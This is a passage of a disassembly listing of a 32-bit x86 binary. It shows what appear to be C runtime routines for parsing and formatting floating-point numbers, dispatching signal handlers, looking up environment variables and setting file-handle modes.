jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_4397B0 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_4397B0 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_4397B0 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_4397AC, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_4397B0 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_4397AC, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_4397AC, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_4397AC, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_4397AC, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_48A2F4 mov eax, offset dword_48A2F4 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_48A2F0 mov eax, offset dword_48A2F0 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_48A2F8 mov eax, offset dword_48A2F8 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_48A2EC mov eax, offset dword_48A2EC loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_48A0C8 and dword_48A0C8, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_43BC1C mov dword_43BC1C, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_43BC10 mov ecx, dword_43BC14 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43BBA0h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_43BC1C push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_48A0C8, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_43BC1C, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB9C, edx push esi mov eax, offset dword_43BB98 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_48B690, 0 push ebx push esi mov esi, dword_48A03C push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_48A044, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_48A03C test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_48A014, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_48A014, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh 